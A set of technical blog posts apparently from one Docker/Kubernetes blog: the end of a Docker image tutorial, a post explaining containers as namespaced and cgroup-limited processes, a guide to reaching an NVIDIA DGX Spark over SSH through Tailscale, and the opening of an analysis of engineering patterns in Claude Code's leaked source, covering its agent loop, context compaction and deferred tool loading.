| `docker history nginx:alpine` | Show layers and their sizes |
| `docker inspect nginx:alpine` | Full JSON metadata |
| `docker scout quickview nginx:alpine` | Vulnerability summary |
| `docker scout cves nginx:alpine` | Detailed CVE listing |
| `docker system df` | Disk usage breakdown |
| `docker image prune -a` | Remove all unused images |
| `docker system prune -a` | Full cleanup (images, containers, cache) |

| Concept | Key Point |
| --- | --- |
| **OCI image** | A manifest + blobs + config, not a single file |
| **Layers** | Filesystem diffs, content-addressed, shared across images |
| **Tags** | Mutable pointers — can change at any time |
| **Digests** | Immutable content hashes — pin these in production |
| **Docker Scout** | Scan images, generate SBOMs, catch CVEs before deploy |
| **DHI** | Hardened images: 95% fewer CVEs, rootless, distroless, free |
| **Copy-on-write** | Containers share image layers, writes go to the writable layer |

* * *

## What's Next: Day 3

You now know what images are, how the supply chain works, and why scanning is non-negotiable. But you've only pulled images other people built.

On **Day 3: Building Images with Dockerfiles**, you'll write your own. You'll learn the build cache, layer ordering, multi-stage builds, and how to produce images that are small, fast, and don't ship with a shell an attacker can use.

See you tomorrow.

---

# Day 1: What Actually Happens When You Type docker run

- Canonical: https://blog.kubesimplify.com/day-1-what-actually-happens-when-you-type-docker-run
- Published: 2026-04-22
- Summary: Containers aren't VMs. They're Linux processes. A Docker Captain explains namespaces, cgroups, and how Docker really works on your Mac in 2026.    

> **7 Days of Docker (2026)** — A Docker Captain's guide. Not your average tutorial.

I'm a Docker Captain. I've seen many Docker tutorials on the internet. And they all start the same way:

*"Docker is like a virtual machine, but lighter..."*

No. Let's stop doing that.

I'm going to explain Docker the way I wish someone had explained it to me — from the inside out. No VM comparisons. No shipping container analogies. Just what's actually happening on your machine right now.

* * *

## A Container Is Just a Process

That's it. That's the tweet.

When you run `docker run nginx`, you're not spinning up a virtual machine. You're not creating a miniature computer. You're starting a **Linux process** — the nginx binary — with two restrictions:

1.  **It can only SEE certain things** (namespaces)
    
2.  **It can only USE certain resources** (cgroups)
    

That's a container. A restricted process. Let me prove it.

```bash
docker run -d --name my-nginx nginx:alpine
```

Now let's look at it from the host's perspective:

```bash
docker top my-nginx
```

```console
UID    PID    PPID   C   STIME   TTY   TIME       CMD
root   15290  15267  0   09:31   ?     00:00:00   nginx: master process nginx -g daemon off;
statd  15327  15290  0   09:31   ?     00:00:00   nginx: worker process
statd  15328  15290  0   09:31   ?     00:00:00   nginx: worker process
statd  15329  15290  0   09:31   ?     00:00:00   nginx: worker process
statd  15330  15290  0   09:31   ?     00:00:00   nginx: worker process
statd  15331  15290  0   09:31   ?     00:00:00   nginx: worker process
statd  15332  15290  0   09:31   ?     00:00:00   nginx: worker process
statd  15333  15290  0   09:31   ?     00:00:00   nginx: worker process
statd  15334  15290  0   09:31   ?     00:00:00   nginx: worker process
```

See those PIDs? Those are **regular processes** on your machine. One master, eight workers (one per CPU core on this M2). They show up in the process table just like any other program. They're not in a VM. They're not in a sandbox. They're processes.

So what makes it a "container"?

* * *

![](/img/blog/day-1-what-actually-happens-when-you-type-docker-run/73100fa4-d224-4148-94e3-bf8709fe5824.png align="center")

## The Two Ingredients: Namespaces and Cgroups

### Namespaces: What the process can SEE

Linux namespaces are walls. They control what a process is allowed to perceive:

| Namespace | What it hides |
| --- | --- |
| **PID** | Other processes — the container thinks it's PID 1 |
| **NET** | The host's network — the container gets its own IP |
| **MNT** | The host's filesystem — the container sees only its own files |
| **UTS** | The hostname — the container has its own hostname |
| **IPC** | Inter-process communication — isolated shared memory |
| **USER** | User IDs — root inside the container isn't root outside |

When you're "inside" a container and type `ps aux`, you see maybe 2-3 processes. On the host, there are hundreds. The container doesn't know that. Its PID namespace hides everything else.

The container isn't isolated because it's in a separate machine. It's isolated because **the kernel lies to it**.

### Cgroups: What the process can USE

Control groups limit resources:

```bash
docker run --memory=128m --cpus=0.5 nginx:alpine
```

This process can never use more than 128MB of RAM or half a CPU core. The kernel enforces this. The container starts and runs fine — nginx barely uses 10MB. But if it ever tries to allocate *beyond* 128MB, the kernel OOM-kills it. The limit is a ceiling, not a cage. Most processes never hit it. But a memory leak or a traffic spike that exhausts the limit? The process dies instantly. That's the point — one runaway container can't take down the entire host.

```console
$ docker run --rm --memory=128m alpine cat /sys/fs/cgroup/memory.max
134217728
```

134,217,728 bytes. Exactly 128 megabytes. The kernel sets this limit at the cgroup level, and the process can never escape it.

> **That's it.** Namespaces + Cgroups = Container. Docker didn't invent containers. Docker made them usable.

* * *

## So What Does Docker Actually Do?

If containers are just kernel features, why do we need Docker?

Because doing this manually is miserable. Without Docker, to "containerize" a process, you'd need to:

*   Call `unshare()` and `clone()` system calls to create namespaces
    
*   Set up cgroup hierarchies in `/sys/fs/cgroup/`
    
*   Build a root filesystem by hand
    
*   Configure networking with `veth` pairs and `iptables`
    
*   Handle image distribution yourself
    

Docker wraps all of this into one command:

```bash
docker run -d -p 8080:80 nginx:alpine
```

One line. Docker:

1.  Pulls the `nginx:alpine` image (a packaged filesystem)
    
2.  Creates namespaces (PID, NET, MNT, UTS, IPC)
    
3.  Sets up cgroups for resource limits
    
4.  Configures a virtual network interface
    
5.  Mounts the image as a layered filesystem
    
6.  Starts the process
    

```console
$ docker run -d --name day1-nginx -p 8080:80 nginx:alpine
a45dc5a898449edc5e4ecfbca6fc3c22db6f77901e1114f26057c45ff3dacaa7

$ curl -s http://localhost:8080 | head -3
<!DOCTYPE html>
<html>
<head>
```

A web server. Running. In under a second. That hash? It's the container ID — a unique identifier for this particular set of namespaces and cgroups.

* * *

## "But Wait — I'm on a Mac"

Here's something most tutorials never tell you:

**Containers are a Linux kernel feature. macOS doesn't have a Linux kernel.**

So how is Docker running on your Mac right now?

```console
$ docker version
Client:
 Version:    29.1.5
 OS/Arch:    darwin/arm64

Server: Docker Desktop 4.58.1
 Engine:
  Version:   29.1.5
  OS/Arch:   linux/arm64
```

See that? Client: `darwin/arm64` (your Mac). Server: `linux/arm64` (not your Mac).

Docker Desktop runs a **lightweight Linux virtual machine** in the background. On Apple Silicon Macs, you get two choices for the Virtual Machine Manager (VMM):

*   **Apple Virtualization framework** — the stable, well-established option that leverages Apple's native hypervisor. This is what most people use (and what I'm running right now).
    
*   **Docker VMM** (Beta) — Docker's own container-optimized hypervisor, built specifically for Apple Silicon. Promises better performance for container workloads.
    

Both options also let you enable **Rosetta for x86\_64/amd64 emulation** — so you can run Intel-based images on your ARM Mac without QEMU. And for file sharing between Mac and the Linux VM, you choose between **VirtioFS** (fastest, recommended), gRPC FUSE, or osxfs (legacy).

Your containers live inside this Linux VM. The flow:

1.  You type `docker run` on your Mac (the client)
    
2.  The command goes to the Docker daemon inside the Linux VM (the server)
    
3.  The daemon creates namespaces and cgroups in that Linux kernel
    
4.  Your container runs inside the VM
    

You never see the VM. You never configure it. But it's there. On a Linux server? No VM needed — containers talk directly to the host kernel.

![](/img/blog/day-1-what-actually-happens-when-you-type-docker-run/7311b493-e073-45c3-a6f4-14c1b0e1c26b.png align="center")

> **What Nobody Tells You:** Your Mac's fan spinning during Docker builds? That's the Linux VM doing the work. The VM has allocated CPU and memory from your Mac. If you're running 10 containers, they're all sharing one VM — not 10 separate machines. This is why Docker on Mac will never be as fast as Docker on Linux. The VM is the tax you pay.

> **2026 Update:** Apple released their own container tool — [Apple Containers](https://github.com/apple/container) — which takes the opposite approach: one lightweight VM per container instead of one shared VM. It boots in sub-second, has stronger isolation, and is written in Swift. It's interesting for macOS-native workflows, but Docker remains the standard for production, CI/CD, and cross-platform builds.

* * *

## Your First Containers (For Real This Time)

Let's actually do this. Not `hello-world` — that's a toy. Let's run real software.

### Run an entire operating system

```bash
docker run --rm ubuntu bash -c "cat /etc/os-release && uname -a"
```

```console
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
Linux d50e9bad40e9 6.12.65-linuxkit #1 SMP Thu Jan 15 14:58:53 UTC 2026 aarch64 aarch64 aarch64 GNU/Linux
```

Look at that kernel version: `6.12.65-linuxkit`. That's the Linux VM's kernel. The Ubuntu "operating system" inside the container is sharing this kernel. There's no second kernel. Ubuntu here is just a filesystem — the binaries, libraries, and configs that make Ubuntu *Ubuntu*. The kernel comes from the host (or the VM on Mac).

This is why containers start in milliseconds instead of minutes. There's no OS to boot. It's just a process with a different filesystem view.

### Run a web server

```bash
docker run -d --name web -p 8080:80 nginx:alpine
```

```console
$ docker ps
CONTAINER ID   IMAGE          STATUS         PORTS                                     NAMES
a45dc5a89844   nginx:alpine   Up 26 seconds  0.0.0.0:8080->80/tcp, [::]:8080->80/tcp   web
```

```bash
curl -s http://localhost:8080 | head -5
```

```console
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
```

That `-p 8080:80` is port mapping. The container's nginx listens on port 80 inside its **network namespace**. Docker maps your host's port 8080 to it. Traffic flows: your browser → host port 8080 → Docker networking → container port 80 → nginx process.

### Check what's happening inside

```bash
docker logs web
```

```console
/docker-entrypoint.sh: Configuration complete; ready for start up
2026/04/12 08:10:22 [notice] 1#1: using the "epoll" event method
```

Logs. Real logs from the nginx process. Because that's all a container is — a process.

### Clean up

```bash
docker stop web && docker rm web
```

Container stopped (process received SIGTERM). Container removed (namespaces and cgroups cleaned up). The filesystem? Gone too, unless you used a volume. We'll cover that on Day 4.

* * *

## 2026: Docker Isn't Just Containers Anymore

Here's what separates learning Docker today from learning it in 2020.

### `docker init` — Never write a Dockerfile from scratch

```bash
cd your-project/
docker init
```

Docker scans your project, detects the language (Python, Node.js, Go, Java, .NET), and generates a production-ready Dockerfile, compose.yaml, and .dockerignore. Multi-stage builds. Non-root users. Health checks. All generated in seconds.

### `docker ai` — Ask Gordon

```bash
docker ai "How do I containerize a Flask app with Redis?"
```

Gordon is Docker's built-in AI assistant. It reads your project structure, your Dockerfile, your running containers — and gives you answers that actually understand your context. Not generic advice. Specific to your setup.

### `docker model` — Run LLMs locally

```console
$ docker model status
Docker Model Runner is running

$ docker model list
MODEL NAME  PARAMETERS  QUANTIZATION    ARCHITECTURE  SIZE
smollm2     361.82 M    IQ2_XXS/Q4_K_M  llama         256.35 MiB
```

Docker Model Runner lets you pull and run AI models the way you pull Docker images. Powered by llama.cpp, exposed via OpenAI-compatible API, GPU-accelerated on Apple Silicon. Think of it as `docker run` but for LLMs. We'll deep-dive on Day 6.

### `docker scout` — Know your vulnerabilities

```bash
docker scout quickview nginx:latest
```

Every image has dependencies. Dependencies have CVEs. Docker Scout scans layers, generates SBOMs (Software Bill of Materials), and shows you what's exposed. In March 2026, compromised Trivy images on Docker Hub stole CI/CD secrets from thousands of pipelines. Security scanning isn't optional anymore.

### `docker debug` — Shell into anything

```bash
docker debug my-broken-container
```

Container has no shell? No curl? No debugging tools? `docker debug` injects a full toolbox into any container or image — even distroless, even crashing. It brings vim, curl, htop, and more. You can install additional tools on the fly.

* * *

## What You Actually Learned Today

Not "Docker is like a lightweight VM." You learned:

*   **A container is a Linux process** restricted by namespaces (what it can see) and cgroups (what it can use)
    
*   **Docker automates** the creation of these restrictions, plus image management, networking, and storage
    
*   **On Mac**, Docker runs a Linux VM because macOS has no Linux kernel — your containers live inside that VM
    
*   **In 2026**, Docker is also an AI platform: Model Runner for local LLMs, Gordon for AI assistance, Scout for security scanning, Debug for troubleshooting, Init for project scaffolding
    

* * *

## Quick Reference

| Command | What it does |
| --- | --- |
| `docker run -d -p 8080:80 nginx` | Start a process with namespaces + port mapping |
| `docker ps` | List running container processes |
| `docker logs <name>` | View stdout/stderr of the process |
| `docker top <name>` | Show the actual PIDs on the host |
| `docker stop <name>` | Send SIGTERM to the process |
| `docker rm <name>` | Clean up namespaces, cgroups, filesystem |
| `docker init` | Generate Dockerfile for your project |
| `docker ai "question"` | Ask Gordon, Docker's AI assistant |
| `docker model list` | List locally available AI models |
| `docker scout quickview <image>` | Scan image for vulnerabilities |
| `docker debug <name>` | Shell into any container, even distroless |

* * *

## Tomorrow: Day 2

We're looking at images — not just "layers" but what they actually are: OCI artifacts containing filesystem snapshots. Why your images probably have dozens of vulnerabilities. How Docker Scout and Hardened Images change the game. And why the Trivy supply chain attack of March 2026 means security scanning is no longer optional.

---

# \"SSH Into Your DGX Spark From Anywhere in the World Using Tailscale

- Canonical: https://blog.kubesimplify.com/ssh-into-your-dgx-spark-from-anywhere-in-the-world-using-tailscale
- Published: 2026-04-07
- Summary: Learn how to set up Tailscale on your NVIDIA DGX Spark for secure SSH access from anywhere in the world.

* * *

I recently got my hands on an NVIDIA DGX Spark, and the first thing I wanted to figure out was: **how do I access this thing from anywhere?** Whether I'm at a coffee shop, at a conference, or on a different network entirely — I want to just `ssh` in and get to work.

The answer? **Tailscale.** It took me about 10 minutes to set up, and now I can SSH into my Spark from any device, on any network, anywhere in the world. I even set up a friend with access — simultaneously — without giving them my credentials. Here's exactly how I did it.

## Why Tailscale?

Tailscale creates a private mesh network (called a "tailnet") between your devices. No port forwarding, no static IPs, no VPN server to maintain. You install it on your devices, log in with the same account, and they can talk to each other. It's built on WireGuard, so it's fast and encrypted.

![](/img/blog/ssh-into-your-dgx-spark-from-anywhere-in-the-world-using-tailscale/471fb562-c707-46de-a4e1-a157f818ca08.png align="center")

For the DGX Spark, this means:

*   No need to be on the same WiFi network
    
*   No need to mess with your router settings
    
*   Works behind NATs and firewalls
    
*   Encrypted end-to-end
    

## Prerequisites

Before starting, make sure your DGX Spark:

*   Is running Ubuntu 24.04 or newer
    
*   Has internet connectivity
    
*   You have sudo access
    

Here's what my system looked like:

```bash
$ lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 24.04.3 LTS
Release:    24.04
Codename:    noble
```

A quick ping to confirm internet:

```bash
$ ping -c 3 google.com
64 bytes from tzdela-ba-in-x0e.1e100.net: icmp_seq=1 ttl=118 time=15.3 ms
64 bytes from tzdela-ba-in-x0e.1e100.net: icmp_seq=2 ttl=118 time=13.7 ms
64 bytes from tzdela-ba-in-x0e.1e100.net: icmp_seq=3 ttl=118 time=17.2 ms

--- google.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss
```

And verify sudo access:

```bash
$ sudo whoami
root
```

Good to go.

## Step 1: Install Tailscale on the DGX Spark

SSH into your Spark (or use a directly connected keyboard/monitor) and run:

```bash
# Update package list and install prerequisites
sudo apt update
sudo apt install -y curl gnupg

# Add Tailscale signing key
curl -fsSL https://pkgs.tailscale.com/stable/ubuntu/noble.noarmor.gpg | \
  sudo tee /usr/share/keyrings/tailscale-archive-keyring.gpg > /dev/null

# Add Tailscale repository
curl -fsSL https://pkgs.tailscale.com/stable/ubuntu/noble.tailscale-keyring.list | \
  sudo tee /etc/apt/sources.list.d/tailscale.list

# Install Tailscale
sudo apt update
sudo apt install -y tailscale
```

You'll see the repository being added and the package installing:

```plaintext
# Tailscale packages for ubuntu noble
deb [signed-by=/usr/share/keyrings/tailscale-archive-keyring.gpg] https://pkgs.tailscale.com/stable/ubuntu noble main
...
Setting up tailscale (1.94.2) ...
Created symlink /etc/systemd/system/multi-user.target.wants/tailscaled.service → /usr/lib/systemd/system/tailscaled.service.
```

Verify the installation:

```bash
$ tailscale version
1.94.2
  tailscale commit: 0a29cf18b56e478b9cd33af07755fcae90d5171a
  long version: 1.94.2-t0a29cf18b-g3f044c9f6
  go version: go1.25.5
```

Check the service is running:

```bash
saiyam@spark-5223:~$ sudo systemctl status tailscaled --no-pager
[sudo] password for saiyam: 
● tailscaled.service - Tailscale node agent
     Loaded: loaded (/usr/lib/systemd/system/tailscaled.service; enabled; preset: enabled)
     Active: active (running) since Tue 2026-04-07 11:13:14 UTC; 9min ago
       Docs: https://tailscale.com/docs/
   Main PID: 2410 (tailscaled)
     Status: "Connected; saiyam911@gmail.com; 100.120.233.78 fd7a:115c:a1e0::f83a:e94e"
      Tasks: 22 (limit: 153561)
     Memory: 45.4M (peak: 53.7M)
        CPU: 615ms
     CGroup: /system.slice/tailscaled.service
             └─2410 /usr/sbin/tailscaled --state=/var/lib/tailscale/tailscaled.…

```

The status says "Needs login" — that's expected. We'll authenticate next.

## Step 2: Connect the Spark to Your Tailnet

This is the magic step:

```bash
$ sudo tailscale up

To authenticate, visit:

    https://login.tailscale.com/a/1ff5e3e9017787
```

Open that URL in any browser, log in with your account (Google, GitHub, Microsoft — whatever your org uses), and you'll see:

> **Login successful. Your device spark-5223 is logged in**

Back on the Spark terminal, you'll see:

```plaintext
Success.
Some peers are advertising routes but --accept-routes is false
```

That's it on the Spark side. Your DGX Spark is now part of your private Tailscale network with the hostname `spark-5223`.

> **Note:** The `--accept-routes` message is harmless for SSH access. You can ignore it. If you ever need subnet routing, run `sudo tailscale up --accept-routes`.

## Step 3: Install Tailscale on Your Laptop

![](/img/blog/ssh-into-your-dgx-spark-from-anywhere-in-the-world-using-tailscale/61787831-2a1e-4577-94a2-cdf279c2db4c.png align="center")

### macOS

*   **Option A:** Download from the [Mac App Store](https://apps.apple.com/app/tailscale/id1475387142) (search "Tailscale")
    
*   **Option B:** Download the `.pkg` from [tailscale.com/download](https://tailscale.com/download)
    

Open the app, click **Log in**, and sign in with the **same account** you used on the Spark.

### Windows

1.  Download the installer from [tailscale.com/download](https://tailscale.com/download)
    
2.  Run the `.msi` file
    
3.  Launch Tailscale from the system tray
    
4.  Log in with the same account
    

### Linux

Same commands as the Spark:

```bash
sudo apt update
sudo apt install -y curl gnupg

curl -fsSL https://pkgs.tailscale.com/stable/ubuntu/noble.noarmor.gpg | \
  sudo tee /usr/share/keyrings/tailscale-archive-keyring.gpg > /dev/null

curl -fsSL https://pkgs.tailscale.com/stable/ubuntu/noble.tailscale-keyring.list | \
  sudo tee /etc/apt/sources.list.d/tailscale.list

sudo apt update
sudo apt install -y tailscale
sudo tailscale up
```

## Step 4: SSH Into Your Spark From Anywhere

First, confirm both devices see each other:

```bash
$ tailscale status
100.104.142.22  spark-5223           saiyamxxx@  linux  -
100.108.115.75  saiyams-macbook-pro  saiyam9xxx@  macOS  -
```

You should see your Spark listed. Now, simply:

```bash
ssh saiyam@spark-5223
```

That's it. Tailscale's **MagicDNS** resolves `spark-5223` to the right Tailscale IP automatically. No need to remember IP addresses.

If MagicDNS isn't working for some reason, use the Tailscale IP directly:

```bash
# Find the IP
tailscale status
# Look for spark-5223 and note the 100.x.x.x address

ssh saiyam@100.104.142.22
```

### Setting Up SSH Key Authentication

For passwordless SSH access, set up key-based authentication. If you already have an SSH key (check `~/.ssh/id_ed25519.pub` or `~/.ssh/id_rsa.pub`), add it to the Spark:

```bash
# Copy your public key to the Spark (will ask for password once)
ssh-copy-id saiyam@spark-5223
```

Or manually add it on the Spark:

```bash
# On the Spark — append the public key
echo "your-public-key-here" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
```

After that, SSH works without a password prompt.

> **Note:** Password authentication still works alongside SSH keys. You don't have to choose one or the other.

## What About My Second Laptop?

This is the beauty of Tailscale — **just install and log in**:

1.  Install Tailscale on the second laptop (using the steps above for your OS)
    
2.  Log in with the same account
    
3.  Run `ssh saiyam@spark-5223`
    

No extra configuration on the Spark. Every device on your tailnet can reach every other device automatically.

## Sharing Your Spark With a Friend

What if a friend also needs SSH access to your Spark — simultaneously, from their own laptop? You don't need to create a new Tailscale account for them. Use a **pre-auth key** to add their device to your tailnet.

### Generate a Pre-Auth Key

1.  Go to the [Tailscale Admin Console](https://login.tailscale.com/admin/settings/keys)
    
2.  Click **"Generate auth key..."**
    
3.  Enable **Reusable** if you want it to work for multiple devices
    
4.  Set an expiration as needed
    
5.  Copy the key (starts with `tskey-auth-...`)
    

### Your Friend's Setup (macOS)

1.  Install Tailscale from the [Mac App Store](https://apps.apple.com/app/tailscale/id1475387142)
    
2.  **Important:** If they're already logged in to their own Tailscale account, they need to leave it first:
    
    ```bash
    sudo tailscale logout
    ```
    
3.  Join your tailnet using the pre-auth key:
    
    ```bash
    sudo tailscale up --auth-key=tskey-auth-xxxxxxxxxxxx
    ```
    
4.  That's it — their Mac is now on your tailnet. No login, no email needed.
    

### Add Their SSH Key to the Spark

Your friend should generate an SSH key on their Mac (if they don't have one):

```bash
ssh-keygen -t ed25519
```

Then share their public key with you (the contents of `~/.ssh/id_ed25519.pub`). On the Spark, add it:

```bash
echo "ssh-ed25519 AAAA...their-key-here... friend@hostname" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
```

Now your friend can SSH in directly:

```bash
ssh saiyam@spark-5223
```

No password prompt — the key handles authentication automatically. SSH automatically tries keys from the default location (`~/.ssh/id_ed25519`), so your friend does **not** need to use `ssh -i`.

Verify it all works:

```bash
$ tailscale status
100.104.142.22  spark-5223           saiyamxxx@  linux  -
100.67.209.38   rohits-macbook-pro   saiyamxxx@  macOS  -
100.108.115.75   saiyams-macbook-pro  saiyamxxx@  macOS  -
```

Three devices, one tailnet, simultaneous SSH access.

> **Tip:** You can manage access from the [Tailscale Admin Console](https://login.tailscale.com/admin/machines). To revoke someone's access, remove their device from the console and delete their key from `~/.ssh/authorized_keys` on the Spark.

## Troubleshooting

### "No Matching Peer" Error

If your friend gets a "no matching peer" error when trying to SSH, it means **they're on a different tailnet** — not yours.

![](/img/blog/ssh-into-your-dgx-spark-from-anywhere-in-the-world-using-tailscale/55475e51-a4e7-4e4f-816b-91c7fae9c474.png align="center")

The `100.x.x.x` Tailscale IPs are only reachable between devices on the **same tailnet**. The fix:

```bash
# Friend logs out of their own tailnet
sudo tailscale logout

# Friend joins YOUR tailnet with your pre-auth key
sudo tailscale up --auth-key=tskey-auth-xxxxxxxxxxxx
```

### SSH Connection Timeout

If `tailscale ping` works but SSH times out:

```bash
# On the Spark — check SSH is running
sudo systemctl status ssh

# Check firewall isn't blocking
sudo ufw status

# If SSH isn't running
sudo systemctl start ssh

# If firewall is active and blocking
sudo ufw allow 22/tcp
```

Also check SSH is listening on all interfaces:

```bash
$ ss -tlnp | grep 22
LISTEN  0  4096  0.0.0.0:22  0.0.0.0:*  users:(("sshd",...))
LISTEN  0  4096     [::]:22     [::]:*  users:(("sshd",...))
```

If SSH is only listening on a specific IP, edit `/etc/ssh/sshd_config` to ensure `ListenAddress` is not restricted, then `sudo systemctl restart ssh`.

### Permission Denied (publickey, password)

This means SSH connected but authentication failed. Either:

*   Your SSH key isn't in `~/.ssh/authorized_keys` on the Spark
    
*   You're using a non-default key path (use `ssh -i /path/to/key`)
    
*   Password authentication is disabled in sshd\_config
    

Check the authorized keys on the Spark:

```bash
cat ~/.ssh/authorized_keys
```

Make sure your public key is listed there.

## Useful Commands Cheat Sheet

| Command | What it does |
| --- | --- |
| `tailscale status` | List all devices on your tailnet |
| `tailscale ping spark-5223` | Test connectivity to a device |
| `tailscale ip` | Show your device's Tailscale IP |
| `ssh saiyam@spark-5223` | SSH using MagicDNS hostname |
| `sudo tailscale up` | Connect to tailnet |
| `sudo tailscale down` | Disconnect from tailnet |
| `sudo tailscale logout` | Leave the current tailnet entirely |
| `ssh-copy-id saiyam@spark-5223` | Copy your SSH key to the Spark |

## Pro Tips

1.  **Tailscale starts on boot** — the `tailscaled` service is enabled by default, so your Spark will rejoin the tailnet automatically after a reboot.
    
2.  **Forward ports for Jupyter** — if you run JupyterLab on your Spark:
    
    ```bash
    ssh -L 8888:localhost:8888 saiyam@spark-5223
    ```
    
    Then open `http://localhost:8888` in your browser.
    
3.  **File transfers work too:**
    
    ```bash
    scp model.bin saiyam@spark-5223:~/models/
    ```
    
4.  **Check who's connected** — on the Spark, see active SSH sessions:
    
    ```bash
    who
    ```
    
5.  **Tailscale admin console** — monitor all devices, manage keys, and remove devices at [login.tailscale.com/admin](https://login.tailscale.com/admin).
    

## Cleanup (If Needed)

If you ever want to remove Tailscale from your Spark:

```bash
sudo tailscale down
sudo apt remove --purge tailscale
sudo rm /etc/apt/sources.list.d/tailscale.list
sudo rm /usr/share/keyrings/tailscale-archive-keyring.gpg
sudo apt update
```

To restore: re-run installation steps 1-2.

## Wrapping Up

The whole setup took me about 10 minutes. Now I can SSH into my DGX Spark from my MacBook at home, my second laptop on the go, and even my friend can access it simultaneously from his MacBook — all without any port forwarding, static IPs, or VPN servers.

The key takeaways:

*   **For yourself:** Install Tailscale on both devices, log in with the same account, `ssh` in
    
*   **For friends:** Generate a pre-auth key, have them join your tailnet, add their SSH public key to the Spark
    
*   **Troubleshooting:** Make sure all devices are on the same tailnet, SSH is running, and keys are in `authorized_keys`
    

Just `ssh saiyam@spark-5223` — from anywhere in the world.

I also used this at 30000 feet in the air!

![](/img/blog/ssh-into-your-dgx-spark-from-anywhere-in-the-world-using-tailscale/1414da6d-8abe-4012-941e-081e310a16d4.png align="center")

%[https://x.com/SaiyamPathak/status/2032098978213528037?s=20]

---

# What Claude Code's Leaked Source Actually Teaches Us About Building AI Agents

- Canonical: https://blog.kubesimplify.com/claude-code-leak-what-the-source-actually-teaches
- Published: 2026-04-01
- Summary: 512K lines of TypeScript, verified against actual source. The engineering patterns in Claude Code's leaked codebase that most coverage got wrong.

Let me start with the honest version of what happened.

Yesterday, Anthropic accidentally published a 59.8 MB source map file inside version 2.1.88 of their `@anthropic-ai/claude-code` npm package. The build pipeline was configured to generate source maps, and the packaging step — whether it was a missing `.npmignore` rule or a misconfigured `files` field in `package.json` — failed to exclude them. One packaging oversight, and ~512,000 lines of TypeScript source were public. Anthropic's DMCA notice eventually took down over 8,100 GitHub repositories. A clean-room rewrite called [claw-code](https://github.com/instructkr/claw-code) hit 50,000 stars in about two hours and now about 100k+.

Within last 24 hours, the internet was flooded with hot takes. Architecture diagrams. The virtual pet system. Thread after thread of "I read the entire codebase and here's what I found." Sites like [ccunpacked.dev](https://ccunpacked.dev) did genuinely good visual walkthroughs of the high-level structure.

But let's be real — nobody read 512,000 lines of TypeScript. I certainly didn't, and I'm skeptical of anyone who claims they did. What I did do was feed the source into Claude, systematically analyzed the key modules, cross-referenced what I found against public documentation and other analyses, and verified the claims I'm about to make against the actual code. If you've read other "I analyzed the leak" posts, they probably all used a similar workflow. The difference I'm going for here is honesty about the process.

* * *

## The Core Loop Is a State Machine, and That's the Whole Point

The agent loop lives in `query.ts`. It's exactly 1,729 lines (I checked), structured as an async generator function called `queryLoop` wrapping a `while(true)` loop. The code itself, in an internal comment, references "7 continue sites" — seven distinct points where the loop yields control and decides what to do next.

The actual function signature:

```typescript
async function* queryLoop(
  params: QueryParams,
  consumedCommandUuids: string[],
): AsyncGenerator<
  StreamEvent | RequestStartEvent | Message | TombstoneMessage | ToolUseSummaryMessage,
  Terminal
>
```

Why does this matter? Because most agent frameworks treat the LLM call as the center of gravity. Send a prompt, get a response, run a tool, repeat. That works fine for demos. It falls apart the moment you need to pause a session, resume it later, serialize state, handle errors mid-turn, or compose multiple agents together.

The generator pattern makes every loop iteration an explicit state transition. You can yield control at each of the seven points without losing state. You can test individual stages. You can add compaction, permission checks, or budget tracking as stages rather than side effects bolted onto a callback chain.

If you're building an agent and your core loop is a simple `while` with `await model.chat()` in the middle, this is the pattern to study.

![](/img/blog/claude-code-leak-what-the-source-actually-teaches/87e9c4e9-9bfd-44ac-bdc0-f9fbf5c3d30b.png align="center")

## Five Compaction Strategies (Not a Neat Stack)

Every long-running agent eventually fills its context window. Most frameworks handle this by truncating old messages. Claude Code has five distinct strategies — though I want to be clear, these aren't a clean "Layer 1 through 5" hierarchy like some other posts have described. They're composable strategies that kick in under different conditions:

**Snip** prunes older messages for quick headroom. Fast and lossy.

**Microcompact** targets tool outputs specifically. A 5,000-line file read gets saved to disk; the model sees a summary with a reference. Two implementations handle this: `microCompact.ts` and `apiMicrocompact.ts`. This alone is a big deal — a single uncompressed tool output can eat half your context window.

**Context Collapse** progressively compresses older conversation segments while keeping recent context sharp. It's still behind a `CONTEXT_COLLAPSE` feature flag, with dedicated persistence types (`ContextCollapseCommitEntry`, `ContextCollapseSnapshotEntry`) to survive session restarts. Not yet fully shipped.

**Autocompact** is full-conversation summarization at configurable token thresholds. Replaces older history with a summary.

**Reactive Compact** is the emergency brake — behind the `REACTIVE_COMPACT` feature flag. When the API returns a 413 (payload too large), this aggressively compacts everything so your session doesn't die. Without this, one bad tool output would brick the conversation.

Now, I've seen posts claiming "no other framework has this." That was arguably true in 2025, but it's not true now. Microsoft's [Agent Framework](https://learn.microsoft.com/en-us/agent-framework/agents/conversations/compaction) has composable multi-strategy compaction pipelines. [LangChain Deep Agents](https://blog.langchain.com/context-management-for-deepagents/) (shipped March 15, 2026) does filesystem offloading plus multi-frequency summarization. [Google ADK](https://google.github.io/adk-docs/context/compaction/) has sliding window with summarization.

What sets Claude Code apart isn't that it has compaction — it's the granularity. Five strategies, two of them still being iterated on behind feature flags. That reflects the kind of edge cases you only discover at scale.

![](/img/blog/claude-code-leak-what-the-source-actually-teaches/17d6086b-cbcc-41f9-8fe6-23f9e71b817d.png align="center")

## Deferred Tool Loading

This is probably the most practical pattern in the codebase for anyone building agents.

When you connect MCP servers, you might have 200+ tools available. Sending all those schemas on every API call wastes thousands of tokens. Claude Code's solution: mark tools with `defer_loading: true`. The model doesn't see them. Instead, it has a single meta-tool called `ToolSearch` (the internal class is `ToolSearchTool`, but the model-facing name is `ToolSearch` — defined as `TOOL_SEARCH_TOOL_NAME = 'ToolSearch'` in the constants). When the model needs a capability, it calls `ToolSearch` with a query:

```plaintext
User: "Deploy this to my Kubernetes cluster"

Model calls ToolSearch("kubernetes deploy")
  -> System fuzzy-matches deferred tool descriptions
  -> Injects matching schemas into the conversation
Model now has the tools it needs.
```

The model goes from ~20 core tools to access to hundreds, without the upfront token cost.

